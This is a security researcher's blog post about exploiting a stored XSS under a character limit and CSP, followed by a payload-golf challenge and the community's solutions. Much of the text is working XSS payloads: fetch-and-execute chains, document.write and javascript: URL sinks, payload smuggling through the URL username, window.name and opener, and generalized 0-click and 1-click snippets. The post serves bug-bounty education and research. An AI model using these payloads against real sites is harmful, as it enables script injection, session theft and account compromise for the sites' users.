The other day, I worked on an XSS finding that required loading script content from an external source to load a proper POC. The limitations were
- Stored XSS
- Char limit 256
- CSP
script-src
containing a bunch of company-owned sites but alsounsafe-inline
- CSP
connect-src
containing a bunch of random sites and thenapi.redacted.com
The attack itself was not a big issue. There were some limitations, like “no whitespace,” etc., but nothing too bad and we will ignore that here for cleaner examples. The payload also had to be padded with around six characters, which left 250 for the exploit.
A simple alert XSS would look like this
<style onload='alert(1)'>padding
However, I don’t like submitting only an alert
-box report and always strive to show full, arbitrary, script execution. This usually helps when it comes to triage and award.
Usually, in these scenarios, you try something like this
<style onload='location=window.name'>padding
or
<style onload='location=location.hash.slice(1)'>padding
(note that the lack of unsafe-eval
in the CSP prevents us from using eval
payloads like eval(name)
)
Then, deliver the full payload using the URL or window name. These sorts of attacks do, however, require an additional step. Either the victim needs to click an attacker-supplied link (the hash
attack) or the victim needs to arrive from an attacker-controlled page (the name
attack). Both these vectors essentially turn a stored XSS
into a reflected XSS
, only with an attacker-controlled sink. We can do better!
We are left with the option to use our initial payload to fetch some out of band content and execute it as unsafe-inline
on the page. This is where api.redacted.com
from the CSP whitelist came into play. The whitelist for the script domain did not contain any obvious exploitable URL, but as we already have (limited) code execution, any form of user content will suffice. The connect-src
CSP directive controls what sources we are allowed to fetch data from, blocking us from just going to our attacker domain directly.
On api.redacted.com
I could store any form of user supplied text but it would be returned as a JSON object similar to this
{
"id": "string",
"content": "string"
}
I could thus craft a payload like this
<style onload="fetch('//api.redacted.com/x/y')
.then(r=>r.json())
.then(d => {
const s = document.createElement('script');
s.textContent = atob(data.content);
document.head.appendChild(s)})">padding
which even with whitespace is 204 characters. This worked and was good enough in this situation. But what if the length limit was smaller, how small could we make the payload?
Challenge
I did ask ChatGPT to help me out, now as AI is suposedly taking our jobs, but it only outputted longer strings while confidently stating it could be done. Apparently we still need humans for this nobel task so as a next step I decided to put up a challenge page that I shared on Bluesky and Discord. To get some help from the experts in the field.
The challenge can be found here:
In the challenge, I simplified the scenario a bit, asking only to load the script hosted on https://joaxcar.com/xss/hack.js containing a simple alert(document.domain)
. The setup:
- The content in parameter
q
(mirrored in a text field) will get executed in a function calledrun
- CSP
script-src 'unsafe-inline'; connect-src 'self'
window.name
andlocation.hash
is cleared by the site on load
- The goal is to write the smallest payload that would fetch and execute the content in
/hack.js
The site’s security was intentionally left minimal. In hindsight, I should have allowed for a full HTML injection using innerHTML
instead of my run
function. But this gadget
made for some fun solutions.
Solutions (intended)
I will not be able to name everyone who participated or made small contributions to the final payloads. I will just thank everyone who sent me or posted their solutions. The ones mentioned here are just some I found interesting, and that help us answer the initial research question.
First of I made a slightly better attempt myself, looking like this 109 chars
d=document;s=d.createElement('script');fetch('/hack.js').then(r=>r.text()).then(b=>s.text=b,d.head.append(s))
I don’t know why I was stuck thinking unsafe-inline
needed a script tag and that this was the only way to create it. This sort of mental block often happens when exploiting findings.
I then had some discussions with Elieehel where he reminded me that we could just write
to the document 87 chars
fetch('/hack.js').then(r=>r.text()).then(d=>{document.write('<script>'+d+'</script>')})
This one can also be slightly improved like this 84 chars
fetch('/hack.js').then(r=>r.text()).then(d=>document.write(`<script>${d}</script>`))
At this point Gareth Heyes entered the scene with this 67 chars
fetch`/hack.js`.then(r=>r.text().then(c=>location='javascript:'+c))
Which is probably the shortest one that fits my initial research goal. It can become a few characters shorter if we allow the attack to require one click, as shown by Tom Anthony using 64 chars
fetch`/hack.js`.then(r=>r.text()).then(b=>open('javascript:'+b))
This is all well and good, but a challenge like this is not complete without a swarm of unintended and alternative solutions!
Solutions (unintended)
If you paid attention to the code for the challenge, you could see that I did put in some restrictions to the regular location=name
payloads by removing name
and hash
window.name = ""
location.hash = ""
I intentionally left the username
vector as I did not devise a 5-second solution to strip it. And as I could have guest Gareth sniffed this one up 36 chars
location="javascript:'"+document.URL
putting the payload as the username
https://%27%3bvar%20s,c%3bfetch(%22https:%2f%2fjoaxcar.com%2fhack.js%22).then(r%3D%3Er.text().then(c%3D%3e%7Bs%3Ddocument.createElement(%27script%27),s.append(c),document.head.append(s)%7D))%2f%2f@joaxcar.com/xss/self.html?q=location=%22javascript%3A%27%22%2Bdocument.URL
Its actually possible to improve this by using <!--
commenting of the URL 30 chars
location=document.URL.slice(8)
It did not stop there, however; many people also noticed that you could abuse the run()
function that I used for the challenge. Allowing things like this URL abuser from RTH (0xrth)
18 chars
run('/*'+location)
using the URL
https://joaxcar.com/xss/self.html?q=run(%27%2F*%27%2Blocation)&*/run(atob`ZmV0Y2hgL2hhY2suanNgLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oYT0+bG9jYXRpb249J2phdmFzY3JpcHQ6JythKQ==`)
And things like this from Tom Anthony again
location=top[0].name
location=opener[0].name
and even 16 chars
run(top[0].name)
The one solution to rule them all
Despite “cheating” such as using run()
there was one undisputed winner to the challenge in the end. Terjanq sent in a payload that abuses the fact that the challenge page is frameable. I do not intend to even go into details on how the solution works, but using multiple iframes
and a browser race-condition, he managed to get the final payload down to 11 chars
top.A.x=top
Hats off!
The solution is here https://terjanq.me/solutions/joaxcar-golf-11.html and his post on it here https://bsky.app/profile/terjanq.me/post/3ldbbqtt2t225
Go and read it right now.
Summary
I have nothing against unintended solutions, and even if many people sending in payloads using run()
called themselves cheaters, I don’t see it that way. The beauty of a challenge like this is how people’s different experiences blend together and add to a huge knowledge base of tricks. There is so much to take away from the reported solutions.
Abusing run()
does resemble my go-to XSS technique, which is to find code gadgets on an already vulnerable site to bypass CSP, enhance a bad payload, or elevate an HTML injection to XSS.
Abusing different side channels for payloads such as name
and username
and bypassing “scrubbers” using opener
and top
are all valid techniques used frequently in real-life scenarios.
And the final 11-char payload from Terjanq is just a masterpiece in browser abuse.
All this aside, I think the final answer to my research question is to find in these two generalized snippets
stored 0 click
fetch`/url`.then(a=>a.text().then(b=>location=b))
stored 1 click
fetch`/url`.then(a=>a.text().then(open))
The challenge did only provide a specific .js
file, but when used in a real-world scenario, you are also most likely in control of the content of hack.js
and could just put javascript:alert(1)
inside the file and get rid of the extra strings. Also, this would work even if a bit longer
fetch`/url.html`.then(a=>a.text()).then(b=>document.write(b))
if the served content is HTML.
Again, thanks to everyone who participated and sent in solutions. Also feel free to reach out if you have any ideas on how to improve these payloads and I will be happy to update the post!